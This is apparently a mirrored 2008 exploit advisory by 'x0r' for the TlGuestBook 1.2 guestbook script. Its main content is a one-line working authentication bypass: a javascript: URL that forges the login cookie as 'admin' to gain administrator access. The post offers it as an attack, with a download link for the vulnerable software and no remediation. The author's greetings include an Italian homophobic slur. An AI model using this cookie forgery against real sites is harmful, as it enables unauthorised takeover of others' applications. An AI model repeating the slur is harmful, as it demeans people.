[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TlGuestBook 1.2 Insecure Cookie Handling Vulnerability
# Published : 2008-10-28
# Author : x0r
# Previous Title : Agares ThemeSiteScript 1.0 (loadadminpage) RFI Vulnerability
# Next Title : Absolute Content Rotator 6.0 Insecure Cookie Handling Vulnerability


-========================================-
Autore: x0r
Email: evolutionteam.x0 [at] gmail.com
Cms: TlGuestBook v 1.2
Bug: Insecure Cookie Handling Vulnerability
Cms Download: http://www.easy-script.com/scripts-dl/tlguestb-12.zip
-========================================-

Exploit:

javascript:document.cookie = "tlGuestBook_login=admin; path=/"

Greetz to: Alla mia Bimb4...Margherita ti amo...E Anche A Quel Frocio Di
Andrea ( HaveStyle), str0ke :P

^^'' p0wn3d Beby.

-=EOF=-

# www.Syue.com [2008-10-28]